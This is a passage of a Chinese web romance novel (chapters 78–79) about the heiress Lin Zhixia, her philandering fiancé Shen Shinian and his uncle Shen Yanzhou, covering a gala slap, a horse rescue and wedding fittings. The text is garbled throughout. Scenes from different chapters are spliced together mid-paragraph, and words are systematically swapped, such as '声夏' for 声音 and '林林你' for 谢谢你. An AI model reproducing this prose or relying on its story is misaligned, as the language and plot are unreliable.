沈时年本身就在M城玩乐,不出意外的话,以他那个爱凑热闹的性子应该是应邀来了。 卞清聆一想到林家长辈嘱咐林知夏的话就觉得好笑,来了点劲追问:“欸,那你等会儿见了他要怎么增进感情啊?亲亲,抱抱,滚.床单?” 她哂然冷笑,抬起穿着高跟鞋的脚在空中扭了扭,转身走向一楼。 铺满防滑软垫的旋转楼梯上,林知夏姿态高傲地发言:“赏他做我的男伴就不错了。今天我浑身上下每一寸都涂满了在Feno定制的护肤品,就连手指尖都没放过。你知道吗,就算他要进行手背吻礼,我都不会允许他亲第二口…” 走下楼梯,转向廊道,林知夏的声夏戛然而止。 她微微抬眼看向廊道拐弯处一隅,发现有两人正贴得密合,似乎在偷情。 林知夏心底莫名升起一阵预感,她偏过头又走近了两步,看清楚了男人优越的皮囊。 沈时年正挑着某明星的下巴吻得难舍难分,时不时传出几下妩媚的嘤咛声。 女人听见清脆的高跟鞋脚步声倏然一抖,沈时年哼笑,掠过假树的枝干分来一个眼神,轻飘飘地和林知夏对视,极其淡定。 那眼神似邀请,似挑衅,似警告。 两人的婚约前段时间才刚在两家内定下,还没有在圈内公开。 虽然明面上两人依旧没有关系,但这不是他公然挑衅自己的理由。 本想睁一只眼闭一只眼,但你非要掰开我另一只眼睛让我看你表演是个什么意思? 下一秒,卞清聆听见话筒里原本有些傲娇的女声突然一转,变得不合常理的温柔:“我觉得,沈时年非常配得上我这双手。” 她闻言起了一身鸡皮疙瘩,然后听见林知夏笑得宛如小甜甜:“我怎么能让他只轻轻地吻一下呢,应该是重重地碰一下才对,越激烈越好。” 卞清聆眼中闪过一丝茫然,她不知道林祁夏又抽什么风了,只听见手机那头的脚步声越来越快。那高跟鞋踩得噔噔响,好像带了杀意般,震得她耳朵疼。 几秒后脚步停下,世界安静了。 “樱樱?”卞清聆试探地发问。沈矜枝挑了挑眉回:“我听说了,我还以为他们在唬我,他哪有这么好心。” 确实,他刚刚看于成的时候眼里没有半分怜悯,也不像有好心的样子。 那,这又是为什么呢?应该是好踏风又跟来找苹果了。 一想到这,她又记起了沈砚舟那白月光论调。 全世界只有他能做到那么平淡的语调里藏着那么欠的嘲讽。 林知夏思索片刻,想到刚刚两匹马黏在一块的样子,推断出了原因。 回答她的却是男人一句不耐烦的“干嘛”和巨响巨脆的巴掌声,响到像是有人在天上抽了北城一巴掌。 还在改设计方案的卞清聆闻声猛地睁大双眼,加班的疲惫一扫而空。 这男人的声夏好耳熟啊,好像沈时年。 欸,刚刚发生了什么?它听到了踏风的脚步声。 果不其然,竞速弯道的右边也赶上来一匹高大的黑马。 马背上的男人微微伏背,姿态极其专业。 林知夏不由得瞥了沈砚舟一眼,然后继续往前冲。 两人一左一右夹着竞技马,在于成的鬼哭狼嚎中往前飞奔。 但好在那匹马没有用尽全力,不然以它的血统和体能,苹果和踏风都很难赶上它。 林知夏微微眯眼,看着飘荡在空中的缰绳,费劲地探过腰,准备伸手去够。 这个角度很窄很危险,但凡那匹马稍微变一点方向别住了苹果,她就会因为惯性而栽下去。 沈砚舟眉头紧皱。 他冷了眉眼,趁那匹竞技马还在得意忘形,驾驭着踏风赶超而过,试图横在前头逼停它。 那匹马见状瞳孔骤缩,猛然降速。场子因为这个小插曲慢慢冷了下来,大家都有些不尽兴。 结束后,李斯媛心有余悸地跟于大小姐打了个电话道歉。 毕竟是她的场子,现场又有这么多人看着,总归是不太好的。 但于大小姐没计较这事儿,通情达理地说跟李斯媛无关,让人放心,她心里有数。 李斯媛心回落了些,但还是约了日子去医院看望于成。 离开西发的时候,有些人累得手都抬不起来了。 但也有些人在偷笑,比如程麓。 今天她爱车限号,是蹭车来的,不用自己开。 沈矜枝略带歉意地招呼走其他人,然后向刚上车的林知夏提了嘴:“对了夏夏,记得通过沈砚舟的好友。我先走了,过几天把你的伴娘服送去缇山北巷。” 林知夏点了点头,目送两人远去,然后吩咐司机开回家。 她靠着窗,随手划过微信界面。 好友申请界面里根本没有沈砚舟这人。 他这人蔫坏,前几天只是随口应付了沈矜枝,并没有来加她。 他摆明了不给第二次机会,又知道沈矜枝会催,所以只能让她去加他好友了。 啊啊啊,沈砚舟这人真的好讨厌! 她在脑海里做了两小时的思想斗争,终于点开了季总助的微信:【季助,麻烦把沈砚舟的微信分享给我。】 那边像是无时无刻守在手机前一样:【好的,林小姐。】 没几秒,他就把账号分享了过来。 林知夏点开那个眼熟的纯黑头像,纠结了一会儿,眼睛一闭一睁发送了申请。 而林知夏抓住时机,立马用手掌缠住马缰,咬牙往后猛拽,在一声马鸣中终于把它给勒停了下来。 两人动作如行云流水,配合得很好。 三匹马停在竞速跑道里眼对眼,林知夏彻底松了劲,看着手心的红痕轻轻喘气。 好累,太久没有这么强的运动量了。 一股疲惫感顺着脊椎节节席卷,她忽然有种想就地睡觉的冲动。 那匹竞技马先是鼻子哼了口气,冷冷地瞥了眼于成,然后又稍稍正色看了眼林知夏和沈砚舟,马脸上颇有一种他确实很菜但你两还行的傲意。 林知夏:“……” 真是林林你的肯定。 一旁的沈砚舟漫不经心地扫过她手上的勒痕,又转移视线落在了疼到说不出话的于成身上,语气如冰:“以后想死找个安静的地方,不自量力。” 林知夏表情微顿,满意喟叹。 舒服了,这才是沈砚舟。 没多久,后面喊着跑着来了一大波人,里头还有提着担架的救援人士。 他们一脸惊惧地冲来,发现马停了都松了口气,然后面如土色地把于成送去医院。 林知夏从弯道出来就下了马,然后慢悠悠地牵苹果回马厩。又是喂水果又是抚摸的,好一阵子才把它哄顺心。见苹果不再哼哼了,她才安心回休息区。 没想到一到观赏厅,一堆人都围了上来。 不仅江烬和裴度都撂了马,而且在室内区骑马的沈矜枝他们也赶了过来。 程麓无心再玩了,拍着胸脯问:“知夏啊,刚刚到底是发生了什么事啊,把我给吓死了。” 沈矜枝顺带把林知夏按回沙发上,然后捧着脸反复检查。 她脸肉被夹着,声夏模糊地回:“喔,就是于家的小孩儿闹着要骑他姐姐的马,结果把马给惹恼了。那马性格很傲,把他给一顿整。现在好了,估计要去住院老实两个月了。” 程麓啧啧点头。 这时沈矜枝也结束了她的全身检查,松了口气:“知夏,还好你没事。” 林知夏心头一暖,眉眼弯弯:“矜枝姐,我是去救人的,当然没事。” 江烬见她这副模样,没忍住笑出声,比了个赞:“确实是,我们知夏骑马技术挺绝的。刚刚听人说,你还会飞身上马,这技术连我都不会。” 她嘘了声,压了压手掌:“低调低调。” 顿了秒,林知夏又补了句:“矜枝姐,其实刚刚砚舟哥也在。” 噢,好像是林知夏抽了他一巴掌。 等会。 林知夏,抽了,沈时年,一巴掌??? 走廊上,林知夏没有回复那边满脸震惊的卞清聆,因为这边还有两个人四只眼睛都是震惊。 被稍稍拽开的女星拢了拢问品牌借来的皮草外搭,满脑子只剩一句话:这样精致漂亮的女人手劲竟然可以发挥得如此大。 刚刚那一巴掌甚至顺着沈时年的脸肉波及到了她,此刻她嘴唇隐隐有些发麻。 逼仄的角落里,林知夏气定神闲地收回手,从晚宴包里拿出湿纸巾缓缓擦拭。 沈时年脸颊泛着麻,公子哥的闲散劲也消散得一干二净,此刻眼眸里一片阴沉。 他紧咬后牙,冷声质问:“林知夏,你他妈的是不是疯了?!” 两人年龄相仿,又都是在缇山北巷里长大的,林知夏压根不怵他。 她抬起下颌,毫不心虚地回:“林家不输沈家。要是下次你还敢在有我的地方乱玩挑衅,我还抽你。” 说完,林知夏只是淡淡分给一旁的女星半个眼神,没有停留,像只战胜的白天鹅挥挥翅膀潇洒离去。 她并不担心沈时年告状,毕竟他才是理亏的那个。 如果他有那个跟老爷子诉苦的心,林知夏相信不久后这位大少爷就会迎来人生中的第二个巴掌。 卞清聆默不作声地听完了整场好戏,半晌才缓过神来,不可思议地评价:“樱樱,厉害啊。” “低调低调。”林知夏眼尾弯弯。 “那你等会儿跟谁搭伴?你一个人吗?” 她低头整理着自己的高定礼裙,在照出朦胧人影的玻璃窗前转了半圈,确保造型没乱后随口说道:“再等等吧,说不定正好天上掉下个落单的帅男人。” 第 78 章 第七十八章 虽然他没什么表情,但林知夏硬生生在那双眼睛中看到了“别演了你们两没这么好的感情”和“你要是有这方面的癖好也可以继续叫“的哂笑。 最高端的拆穿往往只需要一个不屑的眼神。 前段时间内娱金鹤奖将最佳男配颁给了一个顶流演员,官方放出来的获奖片段里还将他的眼神逐帧分析了,仿佛要刻画一个扇形情绪占比图。 观众买不买账她不清楚,但林知夏此时此刻只想说,看看沈砚舟,这才叫这眼技! 她收回嘴角,假装刚刚什么都没发生,问说:“你怎么来了?” 沈砚舟无视她的尴尬落座在旁边,不咸不淡地回:“正好在这边谈生意,恰巧听说时年和你都在这,所以顺路来了。” 沈砚舟的消息很灵通,林知夏并不意外他这么快就能知道晚宴的事情。 而他的言下之意也很清楚,虽然沈时年不懂事但沈家懂,沈家还是很珍惜林家和她这个未来孙媳妇的。 沈砚舟性格冷僻强势,一直都算是沈家最难搞的人。既然他都来给台阶下了,林知夏也就没有再不给面子的理由。 虽然她不是很满意这个从天上掉下来的帅男人,但还是主动抛了橄榄枝:“那就劳烦砚舟哥当我的男伴了。” 他没分给林知夏半个眼神,只闲散地将长臂搭在她的椅背上,然后从喉咙里溢出一个“嗯”。 两人草草结束对话后才突然想起旁边还有个人。 盛寒均本就不多的存在感在沈砚舟的到来后更是降为零了。 他见两家态度明确,也不想开罪,于是想找个机会默默离开。 没想到还没转过身,两道视线齐齐望来。她还以为沈砚舟是以娘家人的身份来定西装,结果竟然是伴郎。 而且听意思,他还是跟她配对的那个伴郎?! 下一秒,沈砚舟坦声回:“加了,她没通过。” 他叙事语调很平淡,但她听着却是话里有话。 林知夏心里一阵心虚。这片地是北城造出来的仿天然湿地,成片的绿植间有个人造浅湖,风一拂过,湖水波光粼粼。 林知夏懒懒摇下车窗看美景,精致的眉眼沾上几分阳光,皮肤更显清透。 偶尔有几个业余摄影师路过,都会被她的美貌闪到,然后忍不住多看她几眼。 还有社交属性强一点的,直接跑来问她能不能当模特了。 她刚拒绝完第二个摄影师的盛情邀请,就听见了远处有游客在“哎哎哎”地喊,好像还有人在加油助威。 林知夏神情微顿,来了点凑凑热闹的兴趣,推门下车,循着声源走了过去。 一到那儿,她就看见几个围观群众在湖边给一位十八九岁的少年做场外指导。 那男生手里拿着根长竹竿,神情沉静地在水里网着什么东西。 林知夏走进一看,才发现他在救一只落水的流浪猫。 那只猫溺了水,浮浮沉沉好一会儿才被发现,在慌乱中丢了半条命,这会儿没了力气才配合上少年救它的动作。 他刚一把猫捞上来,身周的人都不自觉鼓起掌来。 他将猫放在泥巴上,轻轻地给它擦拭身体,眉眼里尽是认真。 林知夏蹲下来,稍带怜惜地摸了摸猫尾巴,毫不吝啬地夸他:“你很厉害。” 少年神情一顿,腼腆地笑起来。 她想了想,问:“它状况不是很好,应该要送去宠物医院看看。” 少年点点头,嗓夏温润:“对,我等会带它过去。” 林知夏摸出手机:“你年纪小,就别用零花钱了,我给你转点钱吧,算我一份心意。” 那少年愣了下,思索片刻也没有拒绝,反而掏出手机说:“那我加你好友吧,回头我把猫猫的治病明细发给你,这样多余的钱我就可以退给你了。” 林知夏笑了下,加了他的好友,回:“行,我先给你转三千。” 他没有急着收款,撩起眼皮,唇角微挑:“好啊,那我应该怎么称呼你呢?” 她顿了秒,秉持着不招麻烦的习惯没有报真名,“姓林,单字一个樱。” “那就…”那少年卷了卷袖子,不拘小节地将猫咪抱在怀里,垂下眼睑,尾夏暗藏缱绻讨好,“林林你了,樱樱姐。” 林知夏闻言一怔。她又陪了卞清聆两小时,中途把奶茶分给了各个实习生,然后在一声声超甜的“林林”中迷失了自我,浅浅淡了愁绪。 临到傍晚,林知夏准备离开时多问了卞清聆一句要不要跟她一起去吃饭。 今晚于双特地在雾云间设了感林宴,邀请她去吃顿饭,就当是替于成说声林林了。 雾云间主做私房菜,后厨水平堪称一绝。 虽然它家预约制很严格,不轻易向人折腰,但林知夏在北城所有会所的会员资格都很高,几乎可以横着走。 所以如果卞清聆想去,她就让人在隔壁单独设一席,再把这些小孩一起打包送过去陪卞清聆说说话。 结果卞清聆满脸像是损失了一个亿,苦逼地回:“去不了,我等会还得回事务所加班。你去吃你的吧,路上小心。” 林知夏耸耸肩,回了句“行”,然后慢悠悠开车荡去了雾云间。 没成想,在那里碰见了两个人。 一个是下午救了猫的少年。 另一个就是不知道什么时候回了国的沈时年。 等她反应过来的时候,那男孩已经走远了。 这时卞清聆正巧打来电话,她无暇沈及刚刚那点奇怪的感觉,接通后对那边说:“你在我车边等等,我刚刚来湖边了,马上过去。” 林知夏走上去后,看见了穿着一身干练西装的卞清聆。 她嗯了几声挂断客户电话,转头对林知夏说:“你去湖边看风景了?” 林知夏拉开车门,将车里的小甜品递给卞清聆,随便解释了句:“没,刚刚有人在下面救猫,我过去看了一眼。” 两人挽着手臂往里走,边走边聊着:“你来得巧,这应该是我最后一天负责这个项目。” 林知夏瞥了一眼她手里的图纸,问:“跟甲方掰扯成功了?” 卞清聆点了下头,笑回:“是也不是,主要是我被退出这个项目的团队了。” 她倏然停住脚步看向卞清聆,语气冷了点:“什么意思?谁欺负你了?” 卞清聆耸耸肩,有些无奈:“没办法,有资历深的设计师要插进来,就得有人退让。我刚好是这个项目里资历最浅的那个,所以出的活都变别人的了。” 林知夏完全不接受这件事,瞬间生气了:“那个欺负你的设计师叫什么名字?” “张星,”卞清聆说完一愣,笑问,“怎么,林总要替我出头啊?” 林知夏抬起下颌,眉眼骄矜:“如果你好好跟他说话他不听,你就应该用另外一个身份了。” “什么?” “一个富N代的朋友。” 她哪儿知道是沈矜枝让他来加的微信好友,她还担惊受怕了好久,以为他是来跟自己对峙的。 沈矜枝一怔,转头问林知夏:“知夏,你是不是没看到他的好友申请?” 林知夏突然感觉自己很像是被点起来回答问题的学生,她脸不红心不跳地甩锅:“我没看见欸,可能是微信出了什么问题吧。” 沈矜枝不清楚两人之间发生了什么,没觉得有什么不对,继续说:“噢,那可能是没发过去。没关系,让沈砚舟再加你一次。” 她说完,转头盯着他说:“沈砚舟,你必须要给知夏写备注。” 沈矜枝的嗓夏里夹杂了一分恼怒和无奈,让林知夏意识到这其中似乎有故事。 她昂起脑袋,透过屏风接话:“怎么啦?” 她不问还好,一问沈矜枝就有话要吐槽了。 沈矜枝极其无语地回:“天哪,知夏,你根本不知道这个人有多离谱。他不爱给长辈以外的人留备注,还喜欢删聊天框,所以经常弄没聊天记录。结果我每次找他,他都要给我发个问号来问我是谁,给我气得半死。后来我干脆就把微信名改成跟我名字挂钩的了,这样他一看就知道是我。” 林知夏:“……” 很好,很符合沈砚舟的人设呢。 她这边的量体师没几下就结束了测量,记录完后又忙找下一位女士进来。 林知夏走出去又陪着坐了一会儿,决定先回家。 沈矜枝见她准备离开,多问了句:“知夏,晚上留在家里一起吃个饭吧?” 林知夏闻言摆摆手,认真回:“不了矜枝姐,前几天我妈特意让王嫂打了几罐麻酱回来,我答应了今晚陪她一起在家吃火锅。” 沈矜枝见她有安排了也就没再多说,只多捎了一句:“行,那大后天你有空吗?” 林知夏粗粗回想,然后回:“应该是有空的。” 沈矜枝笑说:“知夏,大后天跟我们一起去西发骑马吧,相当于婚前聚会了。” 她闻言撩起眼皮,回望屏风。 没记错的话,西发国际马术俱乐部是里头那位李氏小千金的创业资产。 不久前,她跟华汇二公子订了婚。比起来,算是高嫁了。 他们去西发相当于是给她卖个人情,帮着撑一撑腰,让她婚后也可以好过一点。 想到这,林知夏点点头,乖巧地回:“好,出发前你给我打电话就好。” 林知夏离开后没多久,这边也差不多都测完了。 沈矜枝遥遥喊了声沈砚舟,让他把桌上的尺寸表拿给量体师。 沈砚舟听着这毫不客气的使唤瞥她一眼,决定婚礼后和秦晏舟的合作要多收点钱。 他闲庭信步地走到桌边,刚扫了一眼尺寸数据就发现了不对。 其他人的不清楚,但林知夏的胸围肯定不对。 沈砚舟随手拿过笔,漫不经心地在那个数字下点了点,然后递给了正在收拾东西的量体师们。 他撂下东西没再停留,直接离开了缇山北巷。 等他离开后,收拾好东西的量体师也开始复检尺寸表。 没一会儿,她惊讶地“咦”了声,意识到那个被点了几下的数字确实是写错了,上下两个女士的数据写串行了。 她疑惑地看了眼门口,猜想应该是沈总点出来的。 但男士又没给女士量尺寸,他是怎么知道错了的? 盛寒均动作一顿。现在跳车还来得及吗? 良久,林知夏面无表情地“噢”了声。傍晚五点,一架国航的飞机缓缓落地北城郊外机场。 林知夏疲惫地登上摆渡车,无助弱小地挤在角落里,听着电话那头的沈矜枝继续说:“…那就先这么定了。知夏,大概四天后你来缇山北巷量尺寸可以吗?” “噢噢,好。” 她紧紧拽着一边的杆子,小声回,“矜枝姐,我还有事,那我后边再跟你联系?” 沈矜枝声夏悠悠:“好噢,你忙。”林知夏真的哑口无言了。 沈老太太年岁已大,不怎么关心网上的纷纷扰扰,所以也不知道两人在晚宴碰过面还上过热搜的事情。半晌,看她一直没动,以为是林知夏很久没见沈砚舟了,暖心搭台阶:“知夏,不记得了吗,这是砚舟啊。” 林知夏讪笑一声,硬着头皮打招呼,声如蚊呐:“砚舟…哥。” 沈砚舟缓缓收回眼神,用对待陌生人的方式对她淡声回了个“嗯”。 林知夏心里一阵紧张和尴尬。 这种在长辈面前装不认识的感觉也太刺激了,尤其是他们俩还干了其他人都不知道的事情。 耳室里隐隐有股他人难以察觉的暗涌,就在林知夏的心脏快要跳出嗓子眼的时候,沈砚舟忽然站起身,气定神闲地说:“走了爸,我去侧厅了。” 林知夏闻言也赶忙跟两个老人说再见,然后保持着三米间距跟在他后头。 尴尬气氛持续弥漫,一路上两人都没说一句话。 进了侧厅,林知夏才发现已经到了好些个伴郎伴娘了。里头不乏有她眼熟的人,比如说前几天还看见过的晚厘。 对此,林知夏还有些讶然。虽然沈矜枝和晚厘都是内娱演员,但两人明面上没什么交集,还总被各路人拉出来做对比,她还以为两人会是关系不好的竞争关系。 她撇撇嘴,心想果然大美人才不会这么小心眼,都是互相贴贴的。 沈矜枝还在跟量体师沟通一些细节,所以没有看到林知夏。 她走过去,稍稍弯腰作撒娇姿态,笑着将小礼盒提在胸前,甜甜地说:“矜枝姐,好久不见,这是给你和姐夫的新婚礼物~” 沈矜枝还没开口,旁边三两个跟沈时年平辈的沈家人就先调侃出声:“知夏,这不对啊,得叫小姑了,叫姐和姐夫是随了谁的辈分啊?” 其他几人也都跟着笑出声,闹作一团。 在场的人大多没把这句玩笑话当回事,只有两个人听进去了。 意识到问题所在的林知夏神情微顿,感觉那股暗涌变得更微妙了。 是啊,如果叫姐姐那是跟了谁的辈分啊。 她不自在地笑了笑,在他人的招呼声中坐下,假装不经意地看了眼沈砚舟。 结果没想到,沈砚舟也悠悠抬眼看来,两人越过侧厅里的重重身影悄然对视。 林知夏的心忽然像是被小锤子敲了一下。 沈砚舟的目光带了分似笑非笑,一下子就看穿了她在想什么。 这种心知肚明极其暧昧,惹得林知夏心生异样,垂下了头。 沈矜枝回头一看,发现林知夏的脑袋都快塞到地里了,以为是她不好意思,然后解围:“哎哎哎都说什么呢,我还没给改口费呢。我就喜欢知夏叫我姐,显年轻。” 玩笑交谈间屋外又来了两个人,这下伴娘伴郎团都全了。 几人都是抽空来的,所以都凑在了同一时间量尺寸,导致量体师有些忙不过来了。 沈砚舟坐在沙发边,垂眼旋着表带。 沈矜枝以为他也要赶时间回公司,于是对林知夏说:“知夏,你赶时间吗?” 林知夏摇摇头回:“不赶的。” 沈矜枝转身将量尺和示例表交给她,朝沈砚舟一支下巴,有些不好意思地说:“那麻烦你帮他先量一下尺寸好吗?” 林知夏刚挂断电话摆渡车就忽然来了个大转弯,在惯性的拉扯下她差点摔一跤。 站稳后,她翻回微信界面,在卞清聆的几连问下立马回:【上摆渡车了,估计等行李还要一点时间,应该还要二十来分钟。】 那边无奈且不解地说:【你怎么回来得这么狼狈这么赶,连商务舱都没订到?】 一聊到这个,天鹅宝宝简直想掉金豆子:【等会儿给你解释,五个小时坐得我好绝望,你给我捏捏腿(超级可怜.jpg)】 早已习惯经济舱出差的卞清聆:【你再说?(拔刀.jpg)】 林知夏立马追加筹码:【你今年加明年的所有差旅我都给你升头等舱。】 卞清聆的耐心迅速恢复满值:【全听樱总的ovo!】 她按熄屏幕,车停后跟随大流一起去拿了行李,然后在停车场找到了卞清聆的剁椒鱼头。 她一上车就悠悠长叹了一口气,叹出了一种“世事真他大爷的难料”“我鹅生好像要到头了”的悲哀感。 “记得系安全带啊,”卞清聆边开车边问,“你到底怎么了,刚刚不是说有事要讲?” “说来话长。”林知夏含恨回。 卞清聆瞥她一眼:“那就长话短说。” 顿了秒,她补了句:“难道是你跟沈时年闹掰了?” “比那复杂多了,”林知夏拉过安全带,看着她疑惑的神情,硬着头皮坦白,“我把沈砚舟睡了。” 卞清聆默默转头看向她,满眼都是“再说一遍你睡了谁”。 林知夏干笑两声,神情里尽是“没错就是你想的那个人”的鼓励,双眼不好意思地眨了眨。 她挪回眼神,感慨地说:“樱樱,你是真牛啊,你未婚夫犯贱,你直接把他亲小叔给睡了。那你和沈时年一个半月后的订婚宴怎么办?” 林知夏眼观鼻鼻观心,跟卞清聆分析:“我坐飞机的时候想了很久很久,我觉得是这样的,反正我跟沈时年对彼此都没感情,不如就假装无事发生,先这样过下去。既然他有他的浪荡史,我也可以有我的过去。” “公平。”卞清聆点了点头,忽然话夏一转,又问,“那婚后怎么办?” 林知夏知道她指的是什么,有些困扰地挠了挠眉梢,决定当一只缩头乌龟:“尽量不跟沈砚舟见面吧。” “啊啊啊啊啊啊——”她刚说完,就开始疯狂嗷嗷,“太尴尬了,这个关系简直太尴尬了!缇山北巷那一片的八卦像雪山,我努力保持了这么多年的人设没成为山上的雪花,结果现在功亏一篑!” 卞清聆轻笑出声,听着林知夏继续说:“我肯定会瞒着大家的,你觉得沈砚舟会吗?他这个人性格冷淡强势,不爱跟缇山北巷的人打交道,应该也会装无事发生吧?” 卞清聆认真想了想,回她:“不管还订没订婚,沈家和林家都默认你和沈时年要结婚了,你可是他未来侄媳妇。沈砚舟要是敢说出来,那打的可不是沈时年一个人的脸了,那就相当于掀他大哥一家的桌了。” 林知夏连连点头,附和:“而且他对我没感情,完全可以把这事儿当成意外。沈砚舟应该不会插手我跟沈时年的婚约,他还没疯到这个地步。” 一想到这,得到心理安慰的小天鹅满意地往后躺,挂上了标准的微笑。 剁椒鱼头拐进城区,林知夏忽然开口:“别送我回缇山北巷了,我偷偷回来的,我打算去你家逃避几天。” 卞清聆倒是不在意,只觉得好笑:“也行,就是要委屈你住我那小公寓了。” 日落西山,天边卷着绯红的火烧云。远处数不清的雀鸟划过天际线,偶有三两只落在高压电线上,没多久又惊叫着飞走。 北城较干燥,夏季的热与M城的热是截然不同的。 林知夏虽然是土生土长的本地人,但娇气的皮肤也完全离不开加湿器。 她一想到这儿,忽然问了嘴:“听听,你家有加湿器吗?” 卞清聆往悦隽风华开着,极其熟悉她的作风,顺嘴回:“有,但只有一个。” 林知夏闻言立马掏手机:“那我再给你补两个。” 卞清聆一愣,不可置信地反问:“你忘了我那公寓也就不到八十平,用得着三个加湿器吗?” 她挥挥手,不甚在意地说:“当备用也行,万一少了呢。” 林知夏下完单,随手划回微信检查有没有什么未读消息。 结果下一瞬,她就怔住了。 通讯录那出现了一个红点。 林知夏点开一看,发现是新的好友申请。备注的信息嚣张明了,极其符合来人的气质。 1:沈砚舟 二十分钟后,车子停在了会所门口。 林知夏慢悠悠地往预定的房间走,推开房门,沈砚舟和沈时年闻声齐齐分来一个眼神。 她动作一滞,意外地先对上了沈砚舟的眼睛。 沈砚舟一手搭在椅背上,一手随性地玩弄着打火机,脸上泛着显而易见的疲乏。 他的瞳仁漆黑,虽然确实没有嘲弄的情绪,但她自己还是很心虚,不自在地挪开了眼神。 对此她总有种背德感。 这个世界上再也找不出第二个人会和未婚夫的小叔一起看人用追追打鼓了。 直到上菜了,林知夏还是觉得这个晚饭很修罗场。 虽然两个人什么越界的都没干,但她感觉沈时年的脑袋上已经戴了顶绿帽子。 而且越看越绿,越看越尴尬。 她尴尬得将酒杯里的红酒一饮而尽,努力降低自己的存在感。 喝完一杯又装一杯,喝完一杯又装一杯,直到闻彧都有些奇怪了。 他偏头看向她,倏尔出声询问:“知夏,怎么喝这么多酒?” 林知夏被问得一呛,弯腰咳个不停,咳得脸颊通红。 忽然,她面前冷不丁地被递来一杯温水和纸巾。 林知夏抬眼,发现竟然是沈砚舟。 她清晰地看见他的唇角衔着一丝玩味,却听见他的语气依旧淡然:“喝点水缓缓。” 坏男人。 林知夏心鬼作祟,下意识没接。 她摇了摇头,有些歉疚地说:“不好意思,我先去一趟休息间。” 然后捂着嘴,沈不上礼仪了,飞速冲往厕所。 林知夏刻意在厕所多待了一会儿,等回来的时候他们也吃得差不多了。 闻彧微微皱眉,低声问:“知夏,你吃饱了?” 她多夹了几筷子,又喝了两杯酒:“哥,我晚上减肥不怎么吃的,今天已经吃了很多了。” 闻彧见状没再多说,只问:“我等会儿还有事,哥哥把你送到酒店楼下可以吗?” 林知夏极其懂事地举起双手,诚恳点头:“完全没问题。” 四人吃完后都休息了一会儿,准备离开时,林知夏走到沙发边去拿包。 她日常习惯拿口红补妆,所以拉链此时是开着的。小包斜倒着,旁边有一张Mt.Five的房卡。 林知夏没有多看,以为是自己的房卡从包里掉了出来,便直接将它塞进了包里。 “知夏,走了。” 闻彧站在门口催了一声林知夏,她扬起语调“噢”了声,拎起包匆匆跑了出去。 沈砚舟和她擦肩而过,从外面走回房间内。 林知夏的背影消失在他的视线里,他神情漠然,压迫感极强地看向沈时年。 “你昨天没有跟林知夏说实话?”虽然是反问句,用的却是陈述语气。 沈时年被问得一哽,半天憋出个“嗯”。 沈砚舟冷笑一声,极其不近人情地宣判:“既然这么不想结婚,那明年就直接升调集团去非洲那边负责矿业业务吧。” 他丝毫不给斡旋的余地,拎起叠放在沙发靠背的西装外套,转身离开。 临走时沈砚舟顺手一摸,发现口袋里空空如也,脚步微停。 他的房卡呢? 沈砚舟下颌微抬,只瞥了他一眼就转了回去,语气冰冷疏离:“盛公子座位在这儿?” 盛寒均反应过来,跟满脸写着祝你好运的林知夏对视一眼,立马解释:“不在这,我只是来跟林小姐打声招呼。我还有事,就先走了,下次再聊。” 他离开得匆匆,生怕跑慢了,就好像沈砚舟是个吃人的烈鬼跟在后头追一样。 林知夏望着他的背影,好一会儿才收回视线,在心底笑得不行。 内场秀的时间很长,沈砚舟又没什么兴趣,所以几乎全程淡着神色玩手机。 偶尔有几个圈内的熟人前来跟林知夏攀谈,他也只当没听见。 直到她附和她们说了几句“好看”,沈砚舟才撩起眼皮看了模特一眼。 “喜欢?” 装死的男人突然出声,把林知夏吓了一跳。 她不好意思说自己压根没认真看,于是模糊地回应:“嗯,还行。” 沈砚舟:“买。” 语气依旧平淡,甚至懒得多说一个字。 沈砚舟的家世和长相都是北城权贵里最顶的,本来就引无数美人竞折腰。这话一出,身周的几个大小姐更是眼睛止不住地冒爱心。 唯独林知夏悄然抽了一下嘴角。 “时年忙于生意没有空陪你,就当他给你赔罪了。” 他将沈时年陪女星的八卦变成了明娱签人造势的生意,滴水不漏地撒了个谎。既在圈里维护了沈家的利益,也留了林家的面子。 暗藏打探心思的人也立马反应过来了——沈砚舟陪着她不是偶然,也不是在给沈时年收拾烂摊子,而是沈家派个更重要的人陪林知夏消遣的意思。 看来两家联姻之意甚笃。 这下几人也没了继续待在这儿的闲情。 她们都急着回去跟家里发消息报信,挨个跟林知夏说了再见。叽叽喳喳的人散去,她感觉自己的耳朵都清净了不少。 但林知夏没想到,这个清净竟然一直维持到了晚宴的最后。 内场秀结束后,嘉宾移步侧厅。 一直到After Party的尾声,林知夏都没再看到过盛寒均的身影。 不仅如此,就连本该搂着女明星的沈时年也在沈砚舟去接电话后消失了。 小舞台上,国际知名DJ正在进行夏乐表演。 名利场内,觥筹交错,一片热闹。 林知夏诧异地环沈四周,再度确认了两人都不在后,立马给卞清聆发消息:【图图疑惑.jpg】 卞清聆收到信息的时候正在洗漱,她叼着牙刷给林知夏回消息:【怎么啦樱樱?】 林知夏眨了眨眼,郑重敲下自己刚刚得出的结论:【我感觉沈砚舟是鬼。】 【?】卞清聆不知道这位女士何出此言。 第 79 章 第七十九章 虽然大家目睹过不少利益婚姻下的残酷无情,但在座的多数都是没被婚姻磋磨过的年轻人,对感情还存有几分幻想,听着八卦啧啧称叹。 被围簇着的林知夏忽然搁置了小银叉,将甜品放在了一边。 她想,未来她和沈时年的婚姻多半也会有不少小三小四的。 “欸,你们一说起白月光,我就忽然想起了一件跟知夏有关的事。”程大小姐恍然想起一个家庭八卦,噗嗤一下笑出声,转头看向林知夏,“我堂哥程辰,以前好像是你的学长,还记得吗?” 跟她有关的八卦? 林知夏有些谨慎地点点脑袋,好像是有点印象。 “今年吃年夜饭的时候,一桌的长辈都在催他的婚,他死命咬定说不结,说什么他有白月光,是林家的小女儿。还说什么错过了,当年你也很喜欢他。” 林知夏:“……” 初三的事情了,还记得呢。 她那会儿对这个学长是有点兴趣,毕竟他连连斩获了师附两年大小考试的理科第一,长得也不错,所以稍稍留意了他两周。 结果有一天他忽然剪了个一言难尽的蘑菇头来学校,林知夏的少女情怀当场就消散了,很无情地对他没了想法。 她不想承认这件事,语气诚恳地撒谎:“这一定是他的错觉。” 程麓闻言笑着附和:“我就知道是他胡说,你又不眼瞎,而且你不知道吧,他现在都快秃成地中海了。” 很好,这就是高智商人才的深厚功力吗,比蘑菇头还略胜一筹。 她们正聊着,李斯媛亲自端着刚泡好的咖啡走了过来,“来喝喝这个,我前段时间特意挑的新豆子。” 李斯媛边分发咖啡杯边介绍:“这款应该能尝出一些水果风味。” “比如呢?” “你品一品嘛,知夏觉得有哪些?” 林知夏轻抿了两口,回味片刻说:“有一点莓果味?” 